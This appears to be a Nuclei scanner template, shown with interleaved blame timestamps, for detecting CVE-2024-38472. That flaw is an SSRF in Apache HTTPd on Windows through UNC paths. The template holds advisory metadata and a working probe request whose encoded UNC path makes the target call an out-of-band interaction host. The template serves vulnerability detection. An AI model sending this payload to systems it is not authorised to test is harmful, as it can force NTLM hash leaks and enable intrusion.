1970-01-01 00:00:00 +00:00
id : CVE-2024-38472
info :
2024-09-08 18:41:05 +00:00
name : Apache HTTPd Windows UNC - Server-Side Request Forgery
1970-01-01 00:00:00 +00:00
author : pdteam
severity : high
description : |
2024-08-30 13:09:46 +00:00
SSRF in Apache HTTP Server on Windows allows to potentially leak NTML hashes to a malicious server via SSRF and malicious requests or content Users are recommended to upgrade to version 2.4.60 which fixes this issue. Note- Existing configurations that access UNC paths will have to configure new directive "UNCList" to allow access during request processing.
1970-01-01 00:00:00 +00:00
reference :
- https://blog.orange.tw/2024/08/confusion-attacks-en.html
- https://httpd.apache.org/security/vulnerabilities_24.html
- https://security.netapp.com/advisory/ntap-20240712-0001/
- https://github.com/nomi-sec/PoC-in-GitHub
2024-09-06 07:25:03 +00:00
- https://github.com/Abdurahmon3236/CVE-2024-38472
1970-01-01 00:00:00 +00:00
classification :
cvss-metrics : CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
cvss-score : 7.5
cve-id : CVE-2024-38472
cwe-id : CWE-918
epss-score : 0.00043
2024-09-06 07:25:03 +00:00
epss-percentile : 0.09568
tags : cve,cve2024,apache,ssrf,oast,httpd
1970-01-01 00:00:00 +00:00
http :
2024-08-30 13:09:46 +00:00
- method : GET
path :
1970-01-01 00:00:00 +00:00
- "{{BaseURL}}/%5C%5C{{interactsh-url}}/apachehttpd"
2024-08-30 13:09:46 +00:00
matchers-condition : and
1970-01-01 00:00:00 +00:00
matchers :
- type : word
part : interactsh_protocol
words :
- "dns"
2024-08-30 13:09:46 +00:00
1970-01-01 00:00:00 +00:00
- type : word
part : interactsh_request
words :
- "/apachehttpd"
2024-09-08 19:01:20 +00:00
# digest: 4a0a004730450220666be006200dc90d43763aa77ad46663ff86bb4ac682140cb99017bbc5456e6e022100ba792f62eed38a0123650503050206c8741204cb3f854909ca7e25f98972bc7c:922c64590222798bb761d5b6d8e72950